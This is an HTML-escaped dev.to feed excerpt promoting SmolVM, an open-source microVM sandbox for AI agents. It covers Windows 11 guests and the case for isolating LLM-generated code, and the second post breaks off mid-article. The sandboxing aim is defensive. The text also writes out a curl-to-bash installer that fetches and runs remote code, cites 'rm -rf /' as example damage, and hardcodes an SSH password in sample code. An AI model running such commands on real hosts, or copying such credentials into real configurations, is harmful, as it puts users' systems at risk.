&lt;p&gt;On Linux guests, &lt;code&gt;vm.run(...)&lt;/code&gt; executes shell commands.&lt;/p&gt;

&lt;p&gt;On Windows guests, &lt;code&gt;vm.run(...)&lt;/code&gt; executes PowerShell.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Write-Output &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;hello from windows&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit_code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(Get-Item C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;Windows).Name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;SmolVM runs the command through PowerShell over SSH.&lt;/p&gt;

&lt;p&gt;That means your automation code can treat the Windows sandbox as a programmable runtime, not just a manually operated VM.&lt;/p&gt;

&lt;h2&gt;
  
  
  Upload files into Windows paths
&lt;/h2&gt;

&lt;p&gt;A useful Windows sandbox needs file transfer.&lt;/p&gt;

&lt;p&gt;SmolVM supports Windows-style paths:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;upload_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;./hello.ps1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;Users&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;smolvm&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;scripts&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;hello.ps1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;powershell.exe -File C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;Users&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;smolvm&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;scripts&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;hello.ps1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is useful for scripts, test data, config files, installers, and agent artifacts.&lt;/p&gt;

&lt;p&gt;SmolVM also creates missing parent directories on the Windows side.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pass environment variables into Windows
&lt;/h2&gt;

&lt;p&gt;Agents need config.&lt;/p&gt;

&lt;p&gt;Sometimes they need runtime flags. Sometimes they need temporary credentials. Sometimes they need a mode switch.&lt;/p&gt;

&lt;p&gt;SmolVM supports environment variables for Windows guests:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;smolvm&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SmolVM&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;windows&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;~/.smolvm/images/win11.qcow2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;ssh_user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;smolvm&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;ssh_password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;smolvm&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;env_vars&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;APP_MODE&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;production&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;wait_for_ssh&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;$env:APP_MODE&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On Windows, SmolVM writes variables into the per-user environment store.&lt;/p&gt;

&lt;p&gt;Each &lt;code&gt;vm.run(...)&lt;/code&gt; call opens a fresh SSH session, so new commands can read the updated variables.&lt;/p&gt;

&lt;h2&gt;
  
  
  The baseline image stays clean
&lt;/h2&gt;

&lt;p&gt;A sandbox should be safe to destroy.&lt;/p&gt;

&lt;p&gt;SmolVM keeps your baseline Windows image read-only. Each VM gets its own thin &lt;code&gt;qcow2&lt;/code&gt; overlay.&lt;/p&gt;

&lt;p&gt;That gives you a clean model:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the golden Windows image stays unchanged&lt;/li&gt;
&lt;li&gt;each sandbox gets separate disk state&lt;/li&gt;
&lt;li&gt;multiple sandboxes can share the same baseline&lt;/li&gt;
&lt;li&gt;crashes do not corrupt the base image&lt;/li&gt;
&lt;li&gt;task state can vanish when the VM is deleted&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This matters for agents.&lt;/p&gt;

&lt;p&gt;Agents make mistakes. They can run unsafe commands. They can install bad packages. They can touch files they should not touch. They can get prompt-injected.&lt;/p&gt;

&lt;p&gt;The answer is not “trust the agent.”&lt;/p&gt;

&lt;p&gt;The answer is: give the agent a disposable computer.&lt;/p&gt;

&lt;h2&gt;
  
  
  SmolVM vs Microsoft Windows Sandbox
&lt;/h2&gt;

&lt;p&gt;Microsoft Windows Sandbox is great when you want a temporary Windows desktop on a Windows machine.&lt;/p&gt;

&lt;p&gt;SmolVM is for a different use case.&lt;/p&gt;

&lt;p&gt;Use Microsoft Windows Sandbox when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;you are on a Windows host&lt;/li&gt;
&lt;li&gt;you want a local temporary desktop&lt;/li&gt;
&lt;li&gt;you want to manually test an app or file&lt;/li&gt;
&lt;li&gt;you do not need a Python API&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Use SmolVM when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;you are on a Linux host&lt;/li&gt;
&lt;li&gt;you want to control Windows from Python&lt;/li&gt;
&lt;li&gt;you need command execution&lt;/li&gt;
&lt;li&gt;you need file upload&lt;/li&gt;
&lt;li&gt;you need env vars&lt;/li&gt;
&lt;li&gt;you want disposable VMs for agents, tests, or automation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is the distinction.&lt;/p&gt;

&lt;p&gt;SmolVM is not a replacement for every Windows Sandbox use case.&lt;/p&gt;

&lt;p&gt;It is an open-source runtime for programmable Windows sandboxes.&lt;/p&gt;

&lt;h2&gt;
  
  
  What works today
&lt;/h2&gt;

&lt;p&gt;Windows support in SmolVM is V1.&lt;/p&gt;

&lt;p&gt;Today, it supports:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Windows 11 guests&lt;/li&gt;
&lt;li&gt;Python API via &lt;code&gt;SmolVM(...)&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;PowerShell commands via &lt;code&gt;vm.run(...)&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;file upload into Windows paths&lt;/li&gt;
&lt;li&gt;environment variables&lt;/li&gt;
&lt;li&gt;Windows image creation via CLI&lt;/li&gt;
&lt;li&gt;QEMU + KVM on Linux hosts&lt;/li&gt;
&lt;li&gt;per-VM disk overlays&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is enough for command-level Windows automation, test systems, and the base layer for agent workflows.&lt;/p&gt;

&lt;h2&gt;
  
  
  Current limitations
&lt;/h2&gt;

&lt;p&gt;The first version is deliberately narrow.&lt;/p&gt;

&lt;p&gt;Today, Windows guests do not support:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;macOS hosts&lt;/li&gt;
&lt;li&gt;host folder mounts&lt;/li&gt;
&lt;li&gt;network allowlists and egress controls&lt;/li&gt;
&lt;li&gt;snapshots&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Those features raise clear errors instead of silent failures.&lt;/p&gt;

&lt;p&gt;Also, SmolVM does not currently ship a published Windows image. You need to bring or create a Windows 11 &lt;code&gt;.qcow2&lt;/code&gt; image.&lt;/p&gt;

&lt;p&gt;This is important. Windows support is useful today, but it is still V1.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this matters for computer-use agents
&lt;/h2&gt;

&lt;p&gt;A lot of agent infrastructure still assumes the world is Linux.&lt;/p&gt;

&lt;p&gt;That assumption breaks as soon as agents leave code tasks and enter real business workflows.&lt;/p&gt;

&lt;p&gt;Real work happens in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;browsers&lt;/li&gt;
&lt;li&gt;terminals&lt;/li&gt;
&lt;li&gt;file systems&lt;/li&gt;
&lt;li&gt;desktop apps&lt;/li&gt;
&lt;li&gt;old ERPs&lt;/li&gt;
&lt;li&gt;customer portals&lt;/li&gt;
&lt;li&gt;internal tools&lt;/li&gt;
&lt;li&gt;Windows-only software&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Computer-use agents need runtime environments that match that world.&lt;/p&gt;

&lt;p&gt;Linux containers are part of the answer.&lt;/p&gt;

&lt;p&gt;They are not the whole answer.&lt;/p&gt;

&lt;p&gt;If an agent needs to operate Windows software, it needs a Windows computer. That computer should be isolated, disposable, programmable, and easy to start from code.&lt;/p&gt;

&lt;p&gt;That is the direction SmolVM is moving toward.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Is SmolVM the same as Microsoft Windows Sandbox?
&lt;/h3&gt;

&lt;p&gt;No.&lt;/p&gt;

&lt;p&gt;Microsoft Windows Sandbox is a built-in Windows feature for a temporary desktop environment on supported Windows editions.&lt;/p&gt;

&lt;p&gt;SmolVM Windows sandboxes are Windows 11 VMs that run on a Linux host and can be controlled from Python.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I run a Windows sandbox from Python?
&lt;/h3&gt;

&lt;p&gt;Yes.&lt;/p&gt;

&lt;p&gt;With SmolVM, you can start a Windows 11 sandbox from Python, wait for SSH, run PowerShell commands, upload files, pass environment variables, and delete the VM after the task.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I run a Windows sandbox on Ubuntu?
&lt;/h3&gt;

&lt;p&gt;Yes.&lt;/p&gt;

&lt;p&gt;SmolVM Windows guests run on Linux hosts with QEMU and KVM. On Ubuntu or Debian, install:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt-get &lt;span class="nb"&gt;install &lt;/span&gt;qemu-system-x86 ovmf swtpm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Does SmolVM provide a Windows image?
&lt;/h3&gt;

&lt;p&gt;No.&lt;/p&gt;

&lt;p&gt;You need to bring a Windows 11 &lt;code&gt;.qcow2&lt;/code&gt; image or create one from a Windows ISO and the virtio-win driver ISO with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smolvm windows build-image &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--iso&lt;/span&gt; ./Win11.iso &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--virtio-win-iso&lt;/span&gt; ./virtio-win.iso &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--output&lt;/span&gt; ~/.smolvm/images/win11.qcow2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Does SmolVM support GUI automation on Windows?
&lt;/h3&gt;

&lt;p&gt;Windows support is V1.&lt;/p&gt;

&lt;p&gt;Today, the documented Windows support covers boot, PowerShell command execution, file upload, environment variables, and image creation.&lt;/p&gt;

&lt;p&gt;That gives the base runtime for Windows automation. GUI-level agent control is the next layer on top.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why not just use Docker?
&lt;/h3&gt;

&lt;p&gt;Docker is excellent for Linux workloads.&lt;/p&gt;

&lt;p&gt;But Docker is not a Windows desktop. It is not the right abstraction for Windows-only apps, desktop state, PowerShell-heavy workflows, Windows services, or legacy software that expects a real Windows OS.&lt;/p&gt;

&lt;p&gt;For those tasks, agents need a real Windows runtime.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Linux-only sandboxes will not automate the world.&lt;/p&gt;

&lt;p&gt;The next wave of agents will not just write code. They will use computers.&lt;/p&gt;

&lt;p&gt;Some of those computers need to run Windows.&lt;/p&gt;

&lt;p&gt;With SmolVM, developers can now boot a disposable Windows 11 VM from Python, run PowerShell, upload files, pass environment variables, and throw the machine away after the task.&lt;/p&gt;

&lt;p&gt;It is early.&lt;/p&gt;

&lt;p&gt;But the direction is clear:&lt;/p&gt;

&lt;p&gt;Agents need computers.&lt;/p&gt;

&lt;p&gt;Those computers need to be isolated, disposable, programmable, and close to the operating systems businesses actually use.&lt;/p&gt;

&lt;p&gt;That is why Windows sandboxes are now part of SmolVM.&lt;/p&gt;




&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://docs.celesto.ai/smolvm/guides/windows-guests" rel="noopener noreferrer"&gt;Windows sandboxes in SmolVM&lt;/a&gt; — Linux host + QEMU/KVM, pre-installed &lt;code&gt;.qcow2&lt;/code&gt;, OVMF, &lt;code&gt;swtpm&lt;/code&gt;, PowerShell via &lt;code&gt;vm.run&lt;/code&gt;, file upload, env vars, overlays, and current V1 limits.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-isolation/windows-sandbox/windows-sandbox-overview" rel="noopener noreferrer"&gt;Windows Sandbox overview&lt;/a&gt; — Microsoft's built-in temporary desktop feature on supported Windows editions.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/microsoft/Windows-Sandbox" rel="noopener noreferrer"&gt;Windows Sandbox community projects&lt;/a&gt; — community tools for Microsoft's Windows Sandbox, including Python utilities such as &lt;a href="https://github.com/karkason/pywinsandbox" rel="noopener noreferrer"&gt;PyWinSandbox&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>agents</category>
      <category>opensource</category>
      <category>python</category>
    </item>
    <item>
      <title>How to Safely Run AI-Generated Code with SmolVM (Open-Source MicroVM Sandbox)</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Tue, 21 Apr 2026 01:47:43 +0000</pubDate>
      <link>https://dev.to/aniketmaurya/how-to-safely-run-ai-generated-code-with-smolvm-open-source-microvm-sandbox-2coo</link>
      <guid>https://dev.to/aniketmaurya/how-to-safely-run-ai-generated-code-with-smolvm-open-source-microvm-sandbox-2coo</guid>
      <description>&lt;p&gt;Your AI agent just wrote some Python. Do you feel good about running it on your laptop?&lt;/p&gt;

&lt;p&gt;If the answer is "not really" — you're not alone. Every team building agents eventually hits the same wall: &lt;strong&gt;LLM-generated code is the new untrusted input&lt;/strong&gt;, and most of the tooling we reach for (Docker, subprocess, &lt;code&gt;exec&lt;/code&gt;) wasn't built for it.&lt;/p&gt;

&lt;p&gt;We built &lt;a href="https://github.com/CelestoAI/SmolVM" rel="noopener noreferrer"&gt;SmolVM&lt;/a&gt; to fix this. It's an open-source, Firecracker-backed microVM sandbox that gives AI agents their own disposable computer — boots in under a second, isolated at the hardware level, and disappears when the agent is done.&lt;/p&gt;

&lt;p&gt;In this post I'll walk through:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Why running AI-generated code in Docker is a bad idea&lt;/li&gt;
&lt;li&gt;What microVMs give you that containers don't&lt;/li&gt;
&lt;li&gt;A SmolVM quickstart (three lines of Python)&lt;/li&gt;
&lt;li&gt;Real use cases: coding agents, browser agents, and giving an agent access to your repo&lt;/li&gt;
&lt;li&gt;How SmolVM compares to Docker, E2B, and firecracker-containerd&lt;/li&gt;
&lt;li&gt;FAQ&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's get into it.&lt;/p&gt;




&lt;h2&gt;
  
  
  The problem: LLM-generated code is untrusted input
&lt;/h2&gt;

&lt;p&gt;Any team shipping coding agents, app builders, design-to-code tools, or workflow automation eventually needs to execute code the model wrote. That code might:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;rm -rf&lt;/code&gt; something you care about&lt;/li&gt;
&lt;li&gt;Exfiltrate secrets from your environment&lt;/li&gt;
&lt;li&gt;Make outbound calls to an attacker-controlled server&lt;/li&gt;
&lt;li&gt;Install a dependency that does any of the above&lt;/li&gt;
&lt;li&gt;Pin a CPU at 100% and melt your host&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even if the model is well-aligned, prompt injection from tool outputs, web pages, or pasted documents can redirect it. The right mental model: &lt;strong&gt;treat every code suggestion as if it came from a random person on the internet&lt;/strong&gt;, because effectively it did.&lt;/p&gt;

&lt;p&gt;That means you need a sandbox. And this is where most teams reach for Docker — which is where the trouble starts.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Docker isn't enough for AI agent sandboxes
&lt;/h2&gt;

&lt;p&gt;Containers are great for packaging and deployment. They're not a security boundary you want to bet on for untrusted code execution.&lt;/p&gt;

&lt;p&gt;Here's the core issue: &lt;strong&gt;containers share the host kernel&lt;/strong&gt;. A process inside a container is just a normal Linux process with some namespaces and cgroups wrapped around it. If the kernel has a privilege-escalation bug (and new ones ship every year), a container escape becomes a host compromise. &lt;code&gt;runc&lt;/code&gt; CVEs are a regular occurrence. The attack surface is enormous.&lt;/p&gt;

&lt;p&gt;MicroVMs take a different approach: a real hypervisor, a real guest kernel, and a hardware virtualization boundary (Intel VT-x, AMD-V, ARM virtualization extensions) between the agent's code and your host. The attack surface shrinks dramatically.&lt;/p&gt;

&lt;p&gt;The tradeoff used to be speed — full VMs took 30+ seconds to boot, which is unusable for ephemeral agent sandboxes. &lt;a href="https://firecracker-microvm.github.io/" rel="noopener noreferrer"&gt;Firecracker&lt;/a&gt; (the microVM that powers AWS Lambda and Fargate) solved that problem. MicroVMs now boot in &lt;strong&gt;under 500ms&lt;/strong&gt;, which makes them practical for per-request isolation.&lt;/p&gt;

&lt;p&gt;SmolVM wraps Firecracker (on Linux) and QEMU (on macOS) in a clean Python API so you don't have to deal with TAP devices, rootfs images, or vsock by hand.&lt;/p&gt;




&lt;h2&gt;
  
  
  SmolVM quickstart
&lt;/h2&gt;

&lt;p&gt;Install SmolVM with a single command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sSL&lt;/span&gt; https://celesto.ai/install.sh | bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This installs everything you need (including Python), configures your machine, and verifies the setup.&lt;/p&gt;



&lt;p&gt;Manual installation&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;smolvm
smolvm setup
smolvm doctor
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Spin up a sandbox and run a command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;smolvm&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SmolVM&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;echo &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Hello from the sandbox!&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. You now have a hardware-isolated VM with its own kernel, its own filesystem, and its own network namespace — and it'll clean itself up when the &lt;code&gt;with&lt;/code&gt; block exits.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real use case #1: Execute LLM-generated code safely
&lt;/h2&gt;

&lt;p&gt;This is the pattern most coding agents need. The model produces a shell command or a Python snippet, and you need to run it without putting your machine at risk.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;smolvm&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SmolVM&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;execute_code_in_sandbox&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Tool the agent can call to run shell code safely.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wire this up as a tool in your agent framework (LangChain, &lt;a href="https://github.com/CelestoAI/agentor" rel="noopener noreferrer"&gt;Agentor&lt;/a&gt;, whatever you use), and the agent now has a &lt;code&gt;bash&lt;/code&gt; tool that is safe to expose. Even if it runs &lt;code&gt;rm -rf /&lt;/code&gt;, the blast radius is a VM that's about to be thrown away anyway.&lt;/p&gt;




&lt;h2&gt;
  
  
